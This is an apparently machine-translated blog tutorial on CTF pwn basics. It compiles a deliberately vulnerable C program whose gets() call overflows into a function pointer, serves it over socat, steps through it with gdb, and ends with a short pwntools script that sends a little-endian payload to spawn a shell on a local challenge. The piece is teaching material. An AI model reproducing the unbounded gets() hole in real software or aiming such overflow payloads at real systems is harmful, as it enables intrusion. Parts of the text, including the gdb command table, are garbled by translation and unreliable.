pwn の概要: gdb デバッグ プログラムの一般的なコマンドの詳細な説明

目次

初めに書きます

1. pwn質問環境の展開

2. 問題解決のアイデア (焦点ではない) 

3. gdbのデバッグ手順(ポイント) 

実行中のプロセスを完了する (実行)  

プログラムのデバッグ(要点)

プログラムの先頭まで実行します

ブレークポイントを設定する

メモリの表示 

アドレスの値を変更する

シングルステップ/ビューレジスタ

4. Python スクリプトの作成

要約と考察

初めに書きます

   最近また pwn を勉強し始めて、ステーション B の国有社会動物ボスのビデオを観ました。 pwnの学習はメモリ配置とプログラムの実行過程の理解がメインで、学習の道のりは確かに険しいと感じていますが、今後もこのシリーズは随時更新していきたいと思います。

      この記事では、主にプログラムのデバッグ プロセスを例として取り上げ、gdb デバッガーの一般的なコマンドを紹介し、いわゆる「オーバーフロー」カバレッジの影響とビッグ エンディアンとスモール エンディアンの問題を直感的に示します。 。関係するナレッジ ポイントは次のとおりです:pwn 質問環境の展開、gdb デバッグ用の一般的なコマンド、ビッグ エンディアンとスモール エンディアンの影響、pwn 質問を解決するための簡単なスクリプトの作成。特に、スペースが限られているため、この記事ではアセンブリ命令やプログラム実行時の関数呼び出しスタックの変更プロセスについてはあまり紹介しません。これらの内容は今後のブログで紹介する可能性がありますが、この記事の焦点は gdb を使用してプログラムをデバッグすることです。この記事に必要なツールには、主に gdb と pwntools が含まれます。読者が手順に従って再現したい場合、必要なのは gdb と pwntools だけです。インストール プロセスの詳細については、以下を参照してください。

pwn 入門 (1): kali 設定関連環境 (pwntools+gdb+peda)_gdb プラグイン peda-CSDN ブログ

  注: 一般的な gdb の手順を記事の最後にまとめましたので、必要な読者は記事の最後まで直接読んでください。​ 

1. pwn質問環境の展開

   この部分はデバッグ プロセスの前提条件です。pwn 環境をローカルにデプロイする場合は、socat を使用してローカル ポートを開き、pwn 質問を実行します (詳細は以下を参照)。もちろん、読者が gdb しか知らない場合は、それほど考える必要はなく、単に p = process(./file) を使用するだけです。 ubuntu や kali などのシステム展開環境とデバッガーを使用することをお勧めします。

   まず、「オーバーフロー」脆弱性を備えたバイナリ ファイルを構築する必要があります。ここでは、国有の社会畜産担当責任者から提供された question.c ファイルを使用できます。その内容は次のとおりです。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int func(char *cmd){
        system(sh);
        return 0;
}

int main(){
    init_func();
    volatile int (*fp)();
    fp=0;
    int a;
    puts("input:");
    gets(&a);  //gets没有对输入字符的长度做限制,存在溢出
    if(fp){
        fp();
    }
    return 0;
}

   次に、gcc を使用してこのファイルをコンパイルし、脆弱性のあるバイナリ ファイルを生成します。コンパイル プロセス中は pie 保護をオフにする必要があることに注意してください。コマンドは次のとおりです。

gcc question.c -no-pie -o question1

ここでは、PIE 保護について簡単に説明します (この記事の焦点では​​ありません)。

1.PIE 保護はコンパイル中にデフォルトで有効になります。パイ保護をオフにしたい場合は、パラメータ -no-pie を手動で追加する必要があります。

2.PIE (位置に依存しない実行可能ファイル)  は、アドレスに依存しない実行可能プログラムを生成するテクノロジーです。これは保護メカニズムであり、プログラムが PIE 保護をオンにすると、ロードされるベース アドレスはプログラムがロードされるたびに変更されます。もちろん、このメカニズムはローカル デバッグ プログラムには適さないため、ここではオフにします。

   次に、儀式感を高めるために、カレントディレクトリに新しいファイルフラグを作成します。このフラグを取得することは問題を解決したことと同じです。

 次に、socat を使用してポート 8888 を開き、この質問 question1 をデプロイします。もちろん、他の空いているポートを使用することもできます。

socat tcp-l:8888,fork exec:./question1,reuseaddr

  次に、新しいターミナル (ctrl+shift+t) を開き、nc を使用してこのトピックに接続できるかどうかを確認してください。以下に示すように、接続は成功します。

 文字列を入力して効果を確認するだけで、問題ないようです。

2. 問題解決のアイデア (焦点ではない) 

   問題解決の観点から考えると、バイナリファイルしか入手できず、ソースコードを見ることはできません。もちろん、ida に入れて解析することもできますし、逆アセンブルツールを使って疑似ソースコードを表示して、ゆっくり解析することもできます。ただし、この記事の焦点は gdb を使用してプログラムをデバッグすることであるため、上記のソース コードから脆弱性が直接引き起こされる場所の簡単な分析を次に示します。

1. オーバーフローポイント: コード内に危険な関数 get() があります。 gets 関数はユーザー入力を取得するために使用され、入力される文字数に制限がないため、オーバーフローして他のメモリを覆う可能性があります。

2. バックドア関数: バックドア関数 func があり、この関数はシェルを取得できますが、この関数を実行させる方法を見つける必要があります。

3. 関数ポインタ fp. 元のロジックでは、関数ポインタ fp を定義し、その fp ポインタを 0 に設定します。if ステートメントは常に false です。fp がアドレスを指すように fp ポインタの値を変更できるかどうかバックドア関数 func の値を取得すると、getshell が可能になり、fp ポインタの値が gets 関数の入力によって上書きされるため、制御することができます。

3. gdbのデバッグ手順(ポイント) 

実行中のプロセスを完了する (実行)  

まず、このバイナリ ファイルを別のフォルダーにコピーします (先ほどのディレクトリで直接操作することもできます。儀式の感覚を持ちたいだけで、問題解決とデバッグ用のディレクトリをデプロイメントと同じにしたくありません)下の図のビンは、質問 1 の場合に名前を変更したものです。

次に、gdb でデバッグを開始し、コマンドを直接実行します。

gdb ./bin

 このファイルを直接実行して効果を確認できます。次に示すように、最初に「run」と入力し、次に abc などの非常に短い文字列を入力します。

  run コマンドは現在のプログラムを最初から最後まで実行することがわかります (この時点ではオーバーフローは発生していません)。では、オーバーフローが発生した場合はどうなるでしょうか?もう一度実行してみましょう。今回はオーバーフローを確実にするために非常に長い文字列を入力します。

   上図に示すように、現在のプログラムでセグメンテーション違反が発生していることがわかります。次に、現在の命令がどこで実行されているかを知りたいのですが、それはリップ レジスタを通じて見つけることができます。 x64 アーキテクチャでは、rip レジスタは現在実行中の命令のアドレスを指します。次のコマンドを使用して、現在どこで実行しているかを確認できます。

x/20i $rip

 x はメモリの内容を表示するために使用され、/20i はアセンブリ形式 (i) で表示される 20 個の命令を表示することを意味します。 rip レジスタには現在実行されている命令のアドレスが保存されているため、x/20i $rip は現在のプログラムがどの命令を実行したかを確認できます。

 call rdx 命令を実行すると、rdx レジスタが指すアドレスに問題があり、セグメンテーションフォルトが発生するはずです。これはまさに、gets 関数で入力した文字が長すぎるためであり、一連の操作の後、最終的に rdx レジスタの値が問題を引き起こし、意味のないアドレスを指していました。プログラムに戻って再デバッグします。

プログラムのデバッグ(要点)

プログラムの先頭まで実行します

 q を入力して終了します。プログラムを再デバッグします。今回は start を使用してプログラムの実行を開始します。

  run コマンドはプログラムを完全に実行しますが、start コマンドは最初にプログラムのエントリ ポイント (通常は main 関数の始まり) まで実行します。この位置で、rip を使用して現在の命令のポインティング位置を見つけます。

 もちろん、メインのアセンブリのソース コードを直接表示することもできます。これにより、同じ効果が得られます。

disassemble main

 つまり、プログラムの main 関数の先頭まで実行されます。以前に run でオーバーフローが発生したとき、プログラムは call rdx 命令で停止したことを思い出してください。それでは、誰が rdx 命令の値をそれに割り当てたのでしょうか? 2 行を検索すると、mov rdx, QWORD という命令があることがわかります。 PTR[rbp-0x10] は、rbp-0x10 アドレスの値を rdx に割り当てます。

ブレークポイントを設定する

rdx に値を割り当てる命令のアドレスが 0x0000000000401293 であることがわかり、この命令のアドレスにブレークポイントを設定できます。

b *0x0000000000401293

 次のコマンドを使用してブレークポイントを表示できます。

i b

このブレークポイントはコマンド d 2 で削除できます。2 はブレークポイント番号 (num) です。

 このブレークポイントをリセットします。通常、プログラムのデバッグ時にブレークポイントを削除する必要はありません。ブレークポイントを閉じるだけです。ブレークポイントを閉じて有効にするコマンドは次のとおりです。

disable b 2
enable b 2

 つまり、mov rdx,QWORD PTR[rbp-0x10] 命令にブレークポイントを設定します。次に、c または continue 命令を使用してプログラムの実行を継続します。プログラムはブレークポイントの位置まで実行され、停止します。

c

  ブレークポイントに到達する前に、文字列の入力を求められるので、比較的長い文字列 abcdefghijk を入力してオーバーフローを構築します (この時点では、この文字列がオーバーフローするかどうかはわかりません。詳細は後述します)。 Enterを押します。リップ アドレス指定を再度使用すると、案の定、ブレークポイントの場所に到達します。次の命令は、rbp-0x10 アドレスから始まる 8 バイト (QWORD は 8 バイト) を rdx に割り当てることです。しかし、それを再度行う前に、メモリを確認する必要があります。

メモリの表示 

  以前に、x/20i $rip を通じてメモリを表示しようとしました。現時点で注目したいのは rbp-0x10 で、これは次のコマンドで表示できます。
 

x/20g $rbp-0x10

このコマンドの目的は、$rbp レジスタが指すアドレスから 16 バイト (0x10) を引いたものから始まる 20 個の長い倍精度浮動小数点数を表示することです。結果は次のとおりです。

 ASCII コードに敏感な方は、16 進数で 65、66、67、68 を見つけることができます...これらの数字 (つまり、10 進数で 101、102、...) は、先ほど入力した efgh であるはずです...、この図は、リトル エンディアン表示、つまり \x65 のアドレスが 0x7fffffffdf20 であることも反映しています。すぐには分からないかもしれませんが、rbp-0x20 の位置を見てみましょう (つまり、16 バイト先を見てみましょう)。

x/20g $rbp-0x20

   上の図に示すように、この応答では、入力した文字 a (つまり 0x61) がメモリ内のどこに配置されているか、また文字列全体のリトルエンディアン配置プロセスが明確に確認できるはずです。 (a は 0x61 などに対応します) [rbp-0x10] の値を func 関数のアドレスにしたい場合は、アドレス 0x7fffffffdf20 (つまり、位置) の値が返されるようにオーバーフローを構築する必要があります。上図の \x65 から始まります) は func 関数のアドレスです。

アドレスの値を変更する

   ローカル デバッグ プロセス中に、set 命令を使用してアドレスの値を手動で強制的に変更できます。たとえば、ここではアドレス 0x7fffffffdf20 の値を func 関数のアドレスに設定できます。まず、p 命令を使用して func 関数のアドレスを見つけます。

p &func

func 関数のアドレスが 0x40121f であることがわかり、set 命令を強制的に使用して 0x7fffffffdf20 の値を 0x40121f に変更します。

set *0x7fffffffdf20=0x40121f

  メモリを再度チェックすると、アドレスの値は確かに変更されていますが、0x7fffffffdf24 から始まる内容はまだ元の\x69\x6a\x6b のままで、上書きされていないことがわかります。これは主にデータ型のサイズが原因です。これにより、下位 4 バイトのみがカバーされます。ここでは、0x7fffffffdf24 から始まる 4 バイトをゼロに設定するだけです。

set *0x7fffffffdf24=0

   この場合、アドレス rbp-0x10 から始まる 8 バイトが func 関数のアドレスに設定され、プログラムの実行位置に戻ります。

  次に、mov rdx,QWORD PTR [rbp-0x10] コマンドを実行すると、rdx の値が func のアドレスに代入されます。

シングルステップ/ビューレジスタ

  次に、プログラムを段階的に実行してデバッグします。プログラムをシングルステップ実行する場合、最初にレジスタのステータスを確認します。

i r

  上の図に示すように、この時点では rdx はまだ 0 であり、rip は次の命令のアドレス、つまり mov rdx, QWORD PTR [rbp-0x10] 命令のアドレスを指します。 ni 命令を通じてプログラムをステップバイステップで実行し、次の命令を実行します。

ni

  上の図に示すように、mov rdx,QWORD PTR [rbp-0x10] が実行されました。レジスタ値を再度確認します。

   案の定、この時点で rdx は変更されています。main 関数の実行プロセスを振り返ってみましょう。

disassemble main

  この時点で、あと 2 行の命令を実行する限り、呼び出し rdx が実行されます。これはバックドア関数 func を呼び出すのと同じであり、シェルを取得できるはずです。 ni を 2 回実行すると、シェルを取得できるはずです。​ 

   いいですね! 案の定、シェルを取得しました。ところで、gdb の命令 ni と si の違いは次のとおりです。ni は次の命令を意味し、si はシングルステップ操作を意味します。つまり、ni が関数呼び出しに遭遇したときの場合は関数を直接実行しますが、 si の場合は関数に入り、ステップごとに実行します。このとき、func を呼び出して直接完了させたいので、ni 命令を使用したほうが早いですが、もちろん si を使用して関数を入力して実行することもできます。

4. Python スクリプトの作成

  問題解決の観点から見ると、適切なオーバーフローを構築している限り、入力の 5 バイト目から rbp-0x10 のアドレスにオーバーフローするため、ペイロードは "a"*4 + func のアドレスになります。関数。残念ながら、func 関数のアドレス 0x40121f に対応する \x40\x12lx1f バイトには、目に見える文字の対応がない (つまり、0x61 は文字 a に対応し、0x65 は文字 e に対応する) ため、ペイロードは構築することしかできません。 Python スクリプト メソッドを使用して、特定のアドレスのカバレッジを完了します。書かれた python3 スクリプト exp-pwn.py は次のとおりです。

from pwn import *
p = remote("127.0.0.1", 8888) #连接题目部署的环境,相当于nc 127.0.0.1 8888
p.recv() #接受程序输出的"input"字符串
func_addr = 0x40121f  #func函数的地址
#payload = b"a"*4 + p64(addr)   #可以这么写,用pwntools中的p64函数会自动设置成小端序,不过为了理解更深刻,还是用下面这行 
payload = b'a' * 4 + b"\x1f\x12\x40\x00\x00\x00\x00\x00"  #小端序构造溢出
p.send(payload) #将payload发送给程序
p.interactive()

   リトル エンディアンの順序を理解することに特に注意してください。次のプログラムを実行するとシェルを取得できるはずです。

 このシェルの現在の場所は、質問のデプロイメント環境の場所であることに注意してください。これは、脆弱なプログラム a.out を通じてターゲット マシンのシェルを取得するのと同じです。もちろん、実際の ctf もフラグを読み取る必要があります。​ 

要約と考察

  この記事では、pwn の質問を例として、gdb を使用してプログラムをデバッグするプロセスを詳細に説明します。質問自体は難しいものではなく、gdbd のデバッグ プロセスに焦点を当てています。非常に強力なデバッガとして、gdb は pwn の問題を解決するのに非常に役立ちます。プログラムのデバッグ方法 (シングルステップ実行、ブレークポイントの設定、メモリの表示、レジスタの表示、アドレス値の変更など) を理解する必要があります。 gdb の一般的なコマンドの表:

使用 命令 説明する
プログラムを実行する 走る プログラムを完全にゼロから実行する
プログラムの先頭まで実行します 始める エントリ ポイント (通常は main 関数エントリ) まで実行します。
単一ステップの指示 そして プログラムをシングルステップで実行し、関数呼び出しが発生したときに関数に入ります。
次の指示 次の命令を実行します。関数が見つかった場合は、その関数が直接実行されます。
ブレークポイントを設定する b*アドレス アドレスにブレークポイントを設定します (デフォルトで有効)
ブレークポイントを表示する 私は 現在のすべてのブレークポイントをリストします (有効/無効)
ブレークポイントの削除 d b ブレークポイント番号 ブレークポイントを削除する
ブレークポイントをオフにする b ブレークポイント番号を無効にする ブレークポイントをオフに設定します (有効になっていません)。
ブレークポイントを有効にする b ブレークポイント番号を有効にする ブレークポイントを有効に設定する
編集 メインを分解する メイン全体を組み立て、現在の実行手順を確認します。
メモリを変更する set *アドレス=値 アドレスに格納されている値を強制的に変更する
メモリの表示 x/20i $rip $rip レジスタが指すアドレスから始まる現在のプログラム内の 20 個のアセンブリ命令を表示
x/20gアドレス アドレスの内容を表示します。20 行が表示され、各行は 8 バイトです。
x/20b アドレス アドレスの内容を表示し、20 行を表示します。各行は 1 バイトです
p$登録 レジスタに格納されている値を表示する
p*アドレス アドレスに保存されている値を表示する
ピーアンドファンク func 関数のアドレスを表示します。

  最近、とても困っています。仕事の都合で、急いで pwn をしなければなりません。今後、pwn に関する知識を更新するかもしれません。皆さんがいいね、フォロー、サポートしていただければ幸いです。ご不明な点がございましたら、コメントや指摘をしていただいても構いません。私が知っていることはすべて必ずお伝えします。

おすすめ

転載: blog.csdn.net/Bossfrank/article/details/134204664